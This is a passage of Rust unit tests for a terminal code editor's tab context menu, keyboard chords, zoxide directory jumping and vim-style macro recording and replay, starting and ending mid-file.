            "Close",
            "Close Others",
            "Close to the Right",
            "Close Saved",
            "Close All",
            "Pin",
            "Split Right",
            "Split & Move",
            "Move into New Window",
        ],
        "all close actions must appear and in this order — mirrors VS Code's tab strip"
    );
    assert!(matches!(
        menu_action_of(&items, "Close"),
        Some(MenuAction::CloseTab(1))
    ));
    assert!(matches!(
        menu_action_of(&items, "Close Others"),
        Some(MenuAction::CloseOtherTabs(1))
    ));
    assert!(matches!(
        menu_action_of(&items, "Close to the Right"),
        Some(MenuAction::CloseTabsToRight(1))
    ));
    assert!(matches!(
        menu_action_of(&items, "Close Saved"),
        Some(MenuAction::CloseSavedTabs)
    ));
    assert!(matches!(
        menu_action_of(&items, "Close All"),
        Some(MenuAction::CloseAllTabs)
    ));
}

#[test]
fn build_tab_context_menu_items_hides_close_to_the_right_on_the_last_tab() {
    // Last tab → "Close to the Right" would close zero tabs, so it
    // must be suppressed (matches VS Code).
    let items = build_tab_context_menu_items(2, 3, false, None, false, false, false);
    assert_eq!(
        menu_labels(&items),
        [
            "Close",
            "Close Others",
            "Close Saved",
            "Close All",
            "Pin",
            "Split Right",
            "Split & Move",
            "Move into New Window",
        ],
        "Close to the Right must be suppressed on the rightmost tab"
    );
}

#[test]
fn build_tab_context_menu_items_hides_close_others_when_only_one_tab_is_open() {
    let items = build_tab_context_menu_items(0, 1, false, None, false, false, false);
    assert_eq!(
        menu_labels(&items),
        [
            "Close",
            "Close All",
            "Pin",
            "Split Right",
            "Split & Move",
            "Move into New Window",
        ],
        "with a single tab, Close Others / Close to the Right / Close Saved are all no-ops and must be suppressed"
    );
}

#[test]
fn build_tab_context_menu_items_includes_reveal_in_finder_only_with_a_path_and_enabled() {
    let p = std::path::Path::new("/tmp/demo.rs");
    // Local macOS with a real path: Reveal in Finder sits after Close All,
    // before the split group — mirroring VS Code's lower-middle slot.
    let items = build_tab_context_menu_items(0, 1, false, Some(p), true, false, false);
    assert_eq!(
        menu_labels(&items),
        [
            "Close",
            "Close All",
            "Copy Path",
            "Copy Relative Path",
            "Reveal in Finder",
            "Reveal in Explorer View",
            "Pin",
            "Split Right",
            "Split & Move",
            "Move into New Window",
            "Copy into New Window",
        ],
    );
    assert!(matches!(
        menu_action_of(&items, "Reveal in Finder"),
        Some(MenuAction::RevealInFinder(rp)) if rp == p
    ));
    // Remote (or non-macOS) session: entry withheld even with a path.
    let remote = build_tab_context_menu_items(0, 1, false, Some(p), false, false, false);
    assert!(!menu_labels(&remote).contains(&"Reveal in Finder"));
    // A blank/untitled buffer (no path) never offers it, even when enabled.
    let blank = build_tab_context_menu_items(0, 1, false, None, true, false, false);
    assert!(!menu_labels(&blank).contains(&"Reveal in Finder"));
}

#[test]
fn build_tab_context_menu_items_offers_reveal_in_explorer_for_any_path() {
    let p = std::path::Path::new("/tmp/demo.rs");
    // Reveal in Explorer View targets croft's own tree, present local and
    // remote, so it shows for any path-bearing tab even when Finder is withheld.
    let remote = build_tab_context_menu_items(0, 1, false, Some(p), false, false, false);
    assert_eq!(
        menu_labels(&remote),
        [
            "Close",
            "Close All",
            "Copy Path",
            "Copy Relative Path",
            "Reveal in Explorer View",
            "Pin",
            "Split Right",
            "Split & Move",
            "Move into New Window",
            "Copy into New Window",
        ]
    );
    assert!(matches!(
        menu_action_of(&remote, "Reveal in Explorer View"),
        Some(MenuAction::RevealInExplorer(rp)) if rp == p
    ));
    // A blank/untitled buffer (no path) has nothing to reveal.
    let blank = build_tab_context_menu_items(0, 1, false, None, true, false, false);
    assert!(!menu_labels(&blank).contains(&"Reveal in Explorer View"));
}

#[test]
fn build_tab_context_menu_items_offers_copy_path_for_any_path_local_or_remote() {
    let p = std::path::Path::new("/tmp/demo.rs");
    // Copy Path is a clipboard write, so it shows for a path-bearing tab even
    // on a remote session where Reveal in Finder is withheld.
    let remote = build_tab_context_menu_items(0, 1, false, Some(p), false, false, false);
    assert_eq!(
        menu_labels(&remote),
        [
            "Close",
            "Close All",
            "Copy Path",
            "Copy Relative Path",
            "Reveal in Explorer View",
            "Pin",
            "Split Right",
            "Split & Move",
            "Move into New Window",
            "Copy into New Window",
        ]
    );
    assert!(matches!(
        menu_action_of(&remote, "Copy Path"),
        Some(MenuAction::CopyTabPath(cp)) if cp == p
    ));
    assert!(matches!(
        menu_action_of(&remote, "Copy Relative Path"),
        Some(MenuAction::CopyTabRelativePath(cp)) if cp == p
    ));
    // A blank/untitled buffer (no path) has nothing to copy.
    let blank = build_tab_context_menu_items(0, 1, false, None, true, false, false);
    assert!(!menu_labels(&blank).contains(&"Copy Path"));
    assert!(!menu_labels(&blank).contains(&"Copy Relative Path"));
}

#[test]
fn build_tab_context_menu_items_offers_keep_open_only_for_a_preview_tab() {
    let p = std::path::Path::new("/tmp/demo.rs");
    // Preview tab (italic): "Keep Open" appears, carrying this tab's index, and
    // sits just before the Pin / split group.
    let preview = build_tab_context_menu_items(0, 1, false, Some(p), false, true, false);
    assert!(matches!(
        menu_action_of(&preview, "Keep Open"),
        Some(MenuAction::KeepTabOpen(0))
    ));
    let labels = menu_labels(&preview);
    assert!(
        labels.iter().position(|&s| s == "Keep Open") < labels.iter().position(|&s| s == "Pin")
    );
    // A permanent (non-preview) tab never offers it.
    let permanent = build_tab_context_menu_items(0, 1, false, Some(p), false, false, false);
    assert!(!menu_labels(&permanent).contains(&"Keep Open"));
}

#[test]
fn build_tab_context_menu_items_offers_pin_or_unpin_carrying_the_tab_index() {
    let p = std::path::Path::new("/tmp/demo.rs");
    // Unpinned tab reads "Pin"; pinned tab reads "Unpin". Either way the entry
    // carries this tab's index and sits between Keep Open and the split group.
    let unpinned = build_tab_context_menu_items(0, 1, false, Some(p), true, false, false);
    assert!(matches!(
        menu_action_of(&unpinned, "Pin"),
        Some(MenuAction::ToggleTabPin(0))
    ));
    let labels = menu_labels(&unpinned);
    assert!(!labels.contains(&"Unpin"));
    let keep = labels.iter().position(|&s| s == "Keep Open");
    let pin_pos = labels.iter().position(|&s| s == "Pin");
    let split = labels.iter().position(|&s| s == "Split Right");
    assert!(keep < pin_pos && pin_pos < split);

    let pinned = build_tab_context_menu_items(0, 1, false, Some(p), false, false, true);
    assert!(matches!(
        menu_action_of(&pinned, "Unpin"),
        Some(MenuAction::ToggleTabPin(0))
    ));
    assert!(!menu_labels(&pinned).contains(&"Pin"));
}

#[test]
fn tab_menu_groups_split_and_move_into_a_submenu() {
    let items = build_tab_context_menu_items(0, 1, false, None, false, false, false);
    // A flat top-level "Split Right" plus a "Split & Move" submenu.
    assert!(items.iter().any(|e| matches!(
        e,
        MenuEntry::Item { label, action: MenuAction::SplitEditor } if label == "Split Right"
    )));
    let sub = items
        .iter()
        .find_map(|e| match e {
            MenuEntry::Submenu { label, items } if label == "Split & Move" => Some(items),
            _ => None,
        })
        .expect("a Split & Move submenu");
    let labels: Vec<&str> = sub
        .iter()
        .map(|e| match e {
            MenuEntry::Item { label, .. } => label.as_str(),
            MenuEntry::Submenu { label, .. } => label.as_str(),
            MenuEntry::Header(label) => label.as_str(),
            MenuEntry::Separator => "---",
        })
        .collect();
    assert_eq!(
        labels,
        [
            "Split Up",
            "Split Down",
            "Split Left",
            "Split Right",
            "---",
            "Move Above",
            "Move Below",
            "Move Left",
            "Move Right",
            "---",
            "Split in Group",
        ]
    );
    // VS Code's vertical labels: Above = Up, Below = Down.
    assert!(matches!(
        &sub[5],
        MenuEntry::Item {
            action: MenuAction::MoveEditorUp,
            ..
        }
    ));
    assert!(matches!(
        &sub[6],
        MenuEntry::Item {
            action: MenuAction::MoveEditorDown,
            ..
        }
    ));
}

/// Open the editor tab menu into `app.context_menu` with the cursor on the
/// "Split & Move" submenu parent.
fn open_tab_menu_on_split_and_move(app: &mut App) {
    let items = build_tab_context_menu_items(0, 1, false, None, false, false, false);
    let sub_idx = items
        .iter()
        .position(|e| menu_label(e) == "Split & Move")
        .unwrap();
    app.context_menu = Some(ContextMenu {
        origin: (0, 0),
        items,
        selected: sub_idx,
        open_submenu: None,
        submenu_selected: 0,
        target_dir: std::path::PathBuf::from("/"),
    });
}

#[test]
fn split_and_move_submenu_opens_and_down_skips_the_divider() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    open_tab_menu_on_split_and_move(&mut app);
    // Right opens the submenu, selecting its first child (Split Up).
    app.handle_menu_key(key(KeyCode::Right, KeyModifiers::NONE));
    {
        let m = app.context_menu.as_ref().unwrap();
        assert!(m.open_submenu.is_some(), "Right opened the submenu");
        assert_eq!(menu_label(m.cursor_entry().unwrap()), "Split Up");
    }
    // Down three times reaches "Split Right" (the last split before the
    // divider); one more Down SKIPS the divider onto "Move Above".
    for _ in 0..3 {
        app.handle_menu_key(key(KeyCode::Down, KeyModifiers::NONE));
    }
    assert_eq!(
        menu_label(app.context_menu.as_ref().unwrap().cursor_entry().unwrap()),
        "Split Right"
    );
    app.handle_menu_key(key(KeyCode::Down, KeyModifiers::NONE));
    assert_eq!(
        menu_label(app.context_menu.as_ref().unwrap().cursor_entry().unwrap()),
        "Move Above",
        "Down must step over the divider, never land on it"
    );
    // Enter on a child dispatches its action and closes the whole menu.
    app.handle_menu_key(key(KeyCode::Enter, KeyModifiers::NONE));
    assert!(
        app.context_menu.is_none(),
        "Enter on a child closes the menu"
    );
}

#[test]
fn split_and_move_submenu_left_and_esc_back_out_before_dismissing() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    open_tab_menu_on_split_and_move(&mut app);
    app.handle_menu_key(key(KeyCode::Right, KeyModifiers::NONE));
    // Left closes the submenu but keeps the menu open at the top level.
    app.handle_menu_key(key(KeyCode::Left, KeyModifiers::NONE));
    assert!(app.context_menu.as_ref().unwrap().open_submenu.is_none());
    assert!(app.context_menu.is_some());
    // Re-open; Esc backs out of the submenu first...
    app.handle_menu_key(key(KeyCode::Right, KeyModifiers::NONE));
    app.handle_menu_key(key(KeyCode::Esc, KeyModifiers::NONE));
    assert!(app.context_menu.as_ref().unwrap().open_submenu.is_none());
    assert!(
        app.context_menu.is_some(),
        "first Esc only closes the submenu"
    );
    // ...and a second Esc dismisses the whole menu.
    app.handle_menu_key(key(KeyCode::Esc, KeyModifiers::NONE));
    assert!(app.context_menu.is_none(), "second Esc dismisses the menu");
}

#[test]
fn copy_path_key_is_opt_cmd_c_and_disjoint_from_copy_and_relative_path() {
    // Cmd+Opt+C (and Ctrl+Opt+C) copy the absolute path.
    assert!(is_copy_path_key(key(
        KeyCode::Char('c'),
        KeyModifiers::SUPER | KeyModifiers::ALT
    )));
    assert!(is_copy_path_key(key(
        KeyCode::Char('c'),
        KeyModifiers::CONTROL | KeyModifiers::ALT
    )));
    // Plain Cmd+C is Copy-selection, not Copy Path.
    assert!(!is_copy_path_key(key(
        KeyCode::Char('c'),
        KeyModifiers::SUPER
    )));
    // Cmd+Opt+Shift+C is Copy Relative Path: the Shift variant must route there,
    // not collide with the absolute Copy Path.
    let shift_variant = key(
        KeyCode::Char('c'),
        KeyModifiers::SUPER | KeyModifiers::ALT | KeyModifiers::SHIFT,
    );
    assert!(!is_copy_path_key(shift_variant));
    assert!(is_copy_relative_path_key(shift_variant));
    // ...and Copy Relative Path must NOT fire on the no-Shift Copy Path chord.
    assert!(!is_copy_relative_path_key(key(
        KeyCode::Char('c'),
        KeyModifiers::SUPER | KeyModifiers::ALT
    )));
}

#[test]
fn cmd_k_enter_reaches_run_test_at_cursor_not_keep_open() {
    // Cmd+K Enter is DOCUMENTED as run-test-at-cursor, but an undocumented
    // earlier Keep Open arm shadowed it from the day it shipped. The chord
    // must reach the Testing handler; Keep Open lives on the tab menu only.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f = tmp.path().join("a.rs");
    std::fs::write(&f, "x").unwrap();
    app.editor.open_preview(&f).unwrap();
    let idx = app.editor.active_index();
    assert!(app.editor.is_preview(idx), "opened as a preview tab");
    app.handle_key(key(KeyCode::Char('k'), KeyModifiers::SUPER))
        .unwrap();
    assert!(app.cmd_k_leader.is_some(), "Cmd+K arms the chord leader");
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.status, "Run Test at Cursor: no function at the caret",
        "the chord must land in the Testing handler"
    );
    assert!(
        app.editor.is_preview(app.editor.active_index()),
        "Keep Open no longer owns the chord, so the preview stays a preview"
    );
}

#[test]
fn cmd_k_shift_p_keeps_the_preview_tab_open_and_the_menu_says_so() {
    // Keep Open lost its Cmd+K Enter chord to run-test-at-cursor, but the
    // tab menu kept advertising "⌘K ⏎" — a hint that now starts a test run.
    // The action lives on Cmd+K ⇧P (sibling of Cmd+K P pin), and the menu
    // label must say exactly that.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f = tmp.path().join("a.rs");
    std::fs::write(&f, "x").unwrap();
    app.editor.open_preview(&f).unwrap();
    let idx = app.editor.active_index();
    assert!(app.editor.is_preview(idx), "opened as a preview tab");
    app.handle_key(key(KeyCode::Char('k'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('P'), KeyModifiers::SHIFT))
        .unwrap();
    assert!(
        !app.editor.is_preview(app.editor.active_index()),
        "Cmd+K Shift+P promotes the preview to a kept-open tab"
    );
    assert_eq!(app.status, "Kept tab open");
    assert_eq!(
        shortcut_for(&MenuAction::KeepTabOpen(0)),
        Some("⌘K ⇧P"),
        "the tab menu must advertise the chord that actually works"
    );
}

#[test]
fn debug_a_cargo_test_builds_off_the_ui_thread() {
    // A cold `cargo test --no-run` takes minutes; running it on the UI
    // thread froze the whole TUI (no keys, no redraw, no PTY pumping, no
    // cancel) and the "Building…" status could never even paint before the
    // launch overwrote it. The request must return immediately and the
    // result arrive through the tick drain.
    let tmp = tempfile::tempdir().unwrap();
    // A Cargo project cargo rejects instantly (no src/), so the background
    // build fails fast and deterministically.
    std::fs::write(
        tmp.path().join("Cargo.toml"),
        "[package]\nname = \"x\"\nversion = \"0.0.0\"\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.start_test_binary_build(tmp.path().to_path_buf(), String::from("my_case"), None);
    assert_eq!(
        app.status, "Building test binary for my_case",
        "the request returns with the progress status showing"
    );
    // A second request while one is pending is refused, not stacked.
    app.start_test_binary_build(tmp.path().to_path_buf(), String::from("other"), None);
    assert_eq!(app.status, "A test binary is already building");
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(60);
    while !app.drain_pending_test_debug() {
        assert!(
            std::time::Instant::now() < deadline,
            "the build result never arrived through the drain"
        );
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    assert!(
        app.status.starts_with("Test build failed"),
        "a broken crate surfaces the build error, got: {}",
        app.status
    );
    assert!(
        app.pending_test_debug.is_none(),
        "the pending slot frees for the next request"
    );
}

#[test]
fn a_test_binary_that_finishes_after_a_workspace_change_is_discarded() {
    // Re-rooting the Explorer while `cargo test --no-run` runs used to make
    // the drain launch the OLD workspace's binary with the NEW workspace's
    // cwd and breakpoint context. A finished build whose originating root no
    // longer matches the current workspace must be dropped, not launched.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let (tx, rx) = std::sync::mpsc::channel();
    app.pending_test_debug = Some((
        rx,
        String::from("my_case"),
        std::path::PathBuf::from("/somewhere/else"),
    ));
    tx.send(Ok(std::path::PathBuf::from(
        "/somewhere/else/target/debug/deps/x-abc123",
    )))
    .unwrap();
    assert!(
        app.drain_pending_test_debug(),
        "the drain consumed the result"
    );
    assert!(
        app.debug_sessions.is_empty(),
        "no debugger may launch for a foreign workspace's binary"
    );
    assert!(
        app.status.contains("workspace changed"),
        "status explains the discarded build, got: {}",
        app.status
    );
    assert!(
        app.pending_test_debug.is_none(),
        "the pending slot frees for the next request"
    );
}

#[test]
fn cmd_k_p_pins_then_unpins_the_active_tab() {
    // Pin moved to Cmd+K P: its old Shift+Enter chord now debugs the test
    // at the caret.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f = tmp.path().join("a.rs");
    std::fs::write(&f, "x").unwrap();
    app.editor.open_pinned(&f).unwrap();
    app.handle_key(key(KeyCode::Char('k'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.editor.is_pinned(app.editor.active_index()),
        "Cmd+K P pins the active tab"
    );
    app.handle_key(key(KeyCode::Char('k'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::NONE))
        .unwrap();
    assert!(
        !app.editor.is_pinned(app.editor.active_index()),
        "a second Cmd+K P unpins it"
    );
}

#[test]
fn relative_clipboard_text_is_relative_inside_root_and_absolute_outside() {
    use std::path::Path;
    // Inside the workspace root: drop the root prefix.
    assert_eq!(
        relative_clipboard_text(Path::new("/ws/src/a.rs"), Path::new("/ws")),
        "src/a.rs"
    );
    // Outside the root: fall back to the absolute path, never a `../` walk.
    assert_eq!(
        relative_clipboard_text(Path::new("/other/a.rs"), Path::new("/ws")),
        "/other/a.rs"
    );
    // The root itself relativizes to empty.
    assert_eq!(
        relative_clipboard_text(Path::new("/ws"), Path::new("/ws")),
        ""
    );
}

#[test]
fn zoxide_jump_key_is_cmd_z_only_and_never_ctrl_z_or_redo() {
    // Cmd+Z (SUPER) opens the Explorer jump popup. Ctrl+Z must NOT — it
    // is the shell suspend in the terminal, and the editor's undo lives on
    // Ctrl/Cmd+Z in its own (editor-focused) path. Cmd+Shift+Z is the
    // reserved redo chord. Cmd+J stays free for terminal manipulation.
    assert!(is_tree_zoxide_jump_key(key(
        KeyCode::Char('z'),
        KeyModifiers::SUPER
    )));
    assert!(
        is_tree_zoxide_jump_key(key(KeyCode::Char('Z'), KeyModifiers::SUPER)),
        "letter match must be case-insensitive"
    );
    assert!(
        !is_tree_zoxide_jump_key(key(KeyCode::Char('z'), KeyModifiers::CONTROL)),
        "Ctrl+Z must not open the popup; it is shell suspend / editor undo"
    );
    assert!(
        !is_tree_zoxide_jump_key(key(
            KeyCode::Char('z'),
            KeyModifiers::SUPER | KeyModifiers::SHIFT
        )),
        "Cmd+Shift+Z is reserved for redo and must not open the popup"
    );
    assert!(
        !is_tree_zoxide_jump_key(key(KeyCode::Char('j'), KeyModifiers::SUPER)),
        "Cmd+J must stay free for terminal manipulation"
    );
}

#[test]
fn zoxide_jump_popup_anchors_over_the_explorer_column_not_centered() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_explorer_shortcut(key(KeyCode::Char('z'), KeyModifiers::SUPER));
    assert!(app.zoxide_jump.is_some(), "precondition: popup is open");

    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let popup = app.zoxide_jump.as_ref().unwrap().last_rect;
    // The Explorer tree renders inside the sidebar column; the popup must
    // share that column's left edge (anchored over the Explorer), not be
    // centered on the 120-wide frame (which would put x near ~30).
    assert_eq!(
        popup.x, app.tree.last_area.x,
        "jump popup must be left-anchored to the Explorer column, got x={} vs sidebar x={}",
        popup.x, app.tree.last_area.x
    );
    assert!(
        popup.y <= app.tree.last_area.y,
        "jump popup must drop from the top of the Explorer, not be vertically centered"
    );
}

#[test]
fn a_zoxide_row_re_roots_under_the_same_key_as_the_add_branch() {
    // A zoxide row is a bare line from its database, so it can name a
    // directory in a spelling nothing else in croft uses (a symlinked
    // `/var/…` for `/private/var/…`). Both branches of the jump must land on
    // the same spelling: the folder store keys on
    // `roots.primary().display()`, so two spellings of one directory would
    // file and restore under different keys.
    let tmp = tempfile::tempdir().unwrap();
    let real = tmp.path().canonicalize().unwrap().join("real");
    std::fs::create_dir(&real).unwrap();
    let link = tmp.path().canonicalize().unwrap().join("link");
    std::os::unix::fs::symlink(&real, &link).unwrap();

    // Jump mode: re-root onto the symlinked spelling.
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let mut jump = crate::widgets::zoxide_jump::ZoxideJump::new();
    jump.set_results(Some(vec![link.clone()]));
    app.zoxide_jump = Some(jump);
    app.zoxide_add_folder = false;
    app.apply_zoxide_jump_selection();
    let jumped = app.roots.primary().to_path_buf();

    // Add mode: the same row through the other branch.
    let mut app2 = App::new(tmp.path().to_path_buf()).unwrap();
    let mut jump2 = crate::widgets::zoxide_jump::ZoxideJump::new();
    jump2.set_results(Some(vec![link.clone()]));
    app2.zoxide_jump = Some(jump2);
    app2.zoxide_add_folder = true;
    app2.apply_zoxide_jump_selection();
    let added = app2
        .roots
        .iter()
        .find(|r| r.ends_with("real") || r.ends_with("link"))
        .expect("the folder was added")
        .to_path_buf();

    assert_eq!(
        jumped, added,
        "both branches of one gesture must store the same spelling"
    );
    assert_eq!(
        jumped,
        link.canonicalize().unwrap(),
        "and it is the canonical one, so the folder store keys agree"
    );
}

#[test]
fn cmd_z_in_explorer_opens_the_zoxide_jump_popup() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(
        app.is_explorer_focused(),
        "precondition: a fresh app is focused on the Explorer pane"
    );
    assert!(app.zoxide_jump.is_none(), "popup starts closed");
    let handled = app.handle_explorer_shortcut(key(KeyCode::Char('z'), KeyModifiers::SUPER));
    assert!(
        handled,
        "Cmd+Z must be consumed by the Explorer shortcut layer"
    );
    assert!(
        app.zoxide_jump.is_some(),
        "Cmd+Z in the Explorer must open the zoxide jump popup"
    );
    // Esc closes it again.
    app.handle_zoxide_jump_key(key(KeyCode::Esc, KeyModifiers::NONE));
    assert!(app.zoxide_jump.is_none(), "Esc must close the jump popup");
}

// --- Native modal (vim) editing -------------------------------------------

fn vim_app(content: &str) -> (App, tempfile::TempDir) {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("buf.txt");
    std::fs::write(&f, content).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    app.focus = Pane::Editor;
    app.vim.enabled = true;
    (app, tmp)
}

fn vim_feed(app: &mut App, c: char) {
    app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
        .unwrap();
}

fn vim_feed_str(app: &mut App, s: &str) {
    for c in s.chars() {
        vim_feed(app, c);
    }
}

#[test]
fn a_replayed_key_cannot_start_a_recording() {
    // The re-entrancy flag gates CAPTURE, not dispatch, so a replayed `q`
    // used to reach the vim handler and leave the user silently recording
    // after the replay returned — every later keystroke captured with no
    // gesture having asked for it.
    let (mut app, tmp) = vim_app("one\ntwo\n");
    app.macros_path = tmp.path().join("macros.json");
    // A register whose contents are themselves a recording gesture.
    let mut hostile = crate::macros::Macro::default();
    hostile.push_key(key(KeyCode::Char('q'), KeyModifiers::NONE));
    hostile.push_key(key(KeyCode::Char('c'), KeyModifiers::NONE));
    app.macro_registers.insert("b".into(), hostile);

    vim_feed_str(&mut app, "@b");
    assert!(
        app.macro_recording.is_none(),
        "replaying a recording gesture must not leave the editor recording"
    );
}

#[test]
fn the_palette_and_vim_recorders_are_one_recording_not_two() {
    // vim used to mirror the recording flag, so a palette Stop left `q`
    // believing it was still recording: the next `q` re-saved the stale
    // register and swallowed the key after it as a register name.
    let (mut app, tmp) = vim_app("one\ntwo\n");
    app.macros_path = tmp.path().join("macros.json");

    // vim starts, palette stops.
    vim_feed_str(&mut app, "qa");
    assert!(app.macro_recording.is_some());
    app.run_command(crate::widgets::command_palette::Command::MacroStartStopRecording);
    assert!(app.macro_recording.is_none(), "the palette stopped it");

    // A following `q` must START a fresh recording, not stop a phantom one.
    vim_feed_str(&mut app, "qb");
    assert_eq!(
        app.macro_recording.as_ref().map(|r| r.register),
        Some(Some('b')),
        "vim sees the real state and opens register b"
    );

    // And the other direction: palette starts, a bare vim `q` stops.
    app.run_command(crate::widgets::command_palette::Command::MacroStartStopRecording);
    app.run_command(crate::widgets::command_palette::Command::MacroStartStopRecording);
    assert!(app.macro_recording.is_some(), "palette started one");
    vim_feed(&mut app, 'q');
    assert!(
        app.macro_recording.is_none(),
        "a bare q stops what the palette started"
    );
}

#[test]
fn saving_one_register_preserves_every_field_of_a_newer_crofts_steps() {
    // `update_json_store` re-serialises the ENTIRE map on every save, so a
    // fieldless catch-all would rewrite a newer croft's steps as
    // `{"kind":"Unknown"}` the first time any unrelated register was
    // stored — silently destroying them. Worse than refusing to save,
    // because it is unrecoverable.
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("macros.json");
    std::fs::write(
        &path,
        r#"{"b":{"steps":[{"kind":"Mouse","button":"left","x":3}]}}"#,
    )
    .unwrap();

    let mut mine = crate::macros::Macro::default();
    mine.push_key(key(KeyCode::Char('z'), KeyModifiers::NONE));
    crate::macros::save_register(&path, "c", mine).unwrap();

    let raw = std::fs::read_to_string(&path).unwrap();
    assert!(
        raw.contains("\"button\"") && raw.contains("\"left\""),
        "the future step's own fields survive an unrelated save: {raw}"
    );
    assert!(
        raw.contains("\"x\""),
        "including every field, not just the tag: {raw}"
    );
}

#[test]
fn a_replayed_keybinding_cannot_open_the_count_prompt() {
    // `macro_replay_times` is a bindable id, so a replayed chord reaches it
    // through keymap -> run_command. A prompt opening mid-replay swallows
    // the macro's remaining keys into the count field, and `input_prompt`
    // is checked ABOVE the macro tap, so a later Enter would submit the
    // count and re-enter replay.
    let (mut app, tmp) = vim_app("one\n");
    app.macros_path = tmp.path().join("macros.json");
    let mut m = crate::macros::Macro::default();
    m.push_key(key(KeyCode::Char('x'), KeyModifiers::NONE));
    app.macro_last = Some(m);

    app.macro_replaying = true;
    app.run_command(crate::widgets::command_palette::Command::MacroReplayTimes);
    assert!(
        app.input_prompt.is_none(),
        "the count prompt must not open while a macro is replaying"
    );

    app.macro_replaying = false;
    app.run_command(crate::widgets::command_palette::Command::MacroReplayTimes);
    assert!(
        app.input_prompt.is_some(),
        "but it opens normally when nothing is replaying"
    );
}

#[test]
fn a_macro_of_only_unknown_steps_reports_that_it_ran_nothing() {
    // `is_empty()` tests the step list; a macro whose steps are all
    // unreplayable is not empty but yields no keys, and reporting
    // "Macro replayed" would tell the user a newer croft's macro ran.
    let (mut app, tmp) = vim_app("one\n");
    app.macros_path = tmp.path().join("macros.json");
    let path = app.macros_path.clone();
    std::fs::write(
        &path,
        r#"{"u":{"steps":[{"kind":"Mouse","button":"left"}]}}"#,
    )
    .unwrap();
    app.macro_registers = crate::macros::load(&path);

    vim_feed_str(&mut app, "@u");
    assert!(
        app.status.contains("no steps this version can replay"),
        "an all-unknown macro says so, got {:?}",
        app.status
    );
    assert_eq!(app.editor.lines[0], "one", "and nothing ran");
}

#[test]
fn an_unknown_step_kind_does_not_brick_the_whole_store() {
    // A macros.json written by a newer croft must lose the step it names,
    // not every register in the file — serde's tagged enums fail the WHOLE
    // parse on an unknown tag without a catch-all, which would also block
    // every future save (the store refuses to overwrite what it cannot read).
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("macros.json");
    std::fs::write(
        &path,
        r#"{"a":{"steps":[{"kind":"Text","text":"hi"}]},
            "b":{"steps":[{"kind":"Mouse","button":"left"}]}}"#,
    )
    .unwrap();

    let loaded = crate::macros::load(&path);
    assert!(
        loaded.contains_key("a"),
        "the readable register survives: {loaded:?}"
    );
    assert_eq!(
        loaded.get("a").map(|m| m.len()),
        Some(2),
        "and still replays its own keys"
    );
    // The unknown step is inert rather than fatal.
    assert_eq!(
        loaded.get("b").map(|m| m.key_events().len()),
        Some(0),
        "an unknown step kind replays as nothing"
    );
    // Saves still work, so the store is not permanently locked.
    assert!(
        crate::macros::save_register(&path, "c", loaded.get("a").cloned().unwrap()).is_ok(),
        "an unknown kind elsewhere in the file must not block writes"
    );
}

#[test]
fn a_replay_aborts_visibly_and_keeps_earlier_iterations() {
    // The issue requires an abort to leave prior iterations intact. Budget
    // refusal is the reachable abort in a test: assert it refuses without
    // running anything rather than spinning.
    let (mut app, tmp) = vim_app("one\n");
    app.macros_path = tmp.path().join("macros.json");
    let mut big = crate::macros::Macro::default();
    for _ in 0..10 {
        big.push_key(key(KeyCode::Char('x'), KeyModifiers::NONE));
    }
    app.macro_registers.insert("z".into(), big);
    let before = app.editor.lines[0].clone();

    vim_feed_str(&mut app, "99999@z");
    assert!(
        app.status.contains("refused"),
        "a replay past the budget is refused visibly, got {:?}",
        app.status
    );
    assert_eq!(
        app.editor.lines[0], before,
        "and nothing ran, rather than half of it"
    );
}

#[test]
fn a_count_before_a_closing_q_is_discarded_too() {
    // The stop gesture takes the `'q'` arm rather than the register branch,
    // so it needs its own take_count(): `3q` while recording must stop and
    // discard the 3, not leave it to retarget the next motion.
    let (mut app, tmp) = vim_app("aaaa\nbbbb\ncccc\ndddd\neeee\n");
    app.macros_path = tmp.path().join("macros.json");
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 0;
    vim_feed_str(&mut app, "qa");
    vim_feed_str(&mut app, "3q");
    assert!(
        app.macro_recording.is_none(),
        "3q still stops the recording"
    );
    vim_feed(&mut app, 'j');
    assert_eq!(
        app.editor.cursor_row, 1,
        "the discarded 3 must not make the next j move three rows"
    );
}

#[test]
fn a_non_register_key_after_q_aborts_the_gesture() {
    // The per-character handlers only see plain chars, so an arrow key after
    // `q` used to return at the motion arms with `pending_record` still set —
    // and the next letter typed would silently start a recording nobody
    // asked for. Vim aborts the gesture on a non-register key.
    let (mut app, tmp) = vim_app("one\ntwo\nthree\n");
    app.macros_path = tmp.path().join("macros.json");
    app.editor.cursor_row = 0;
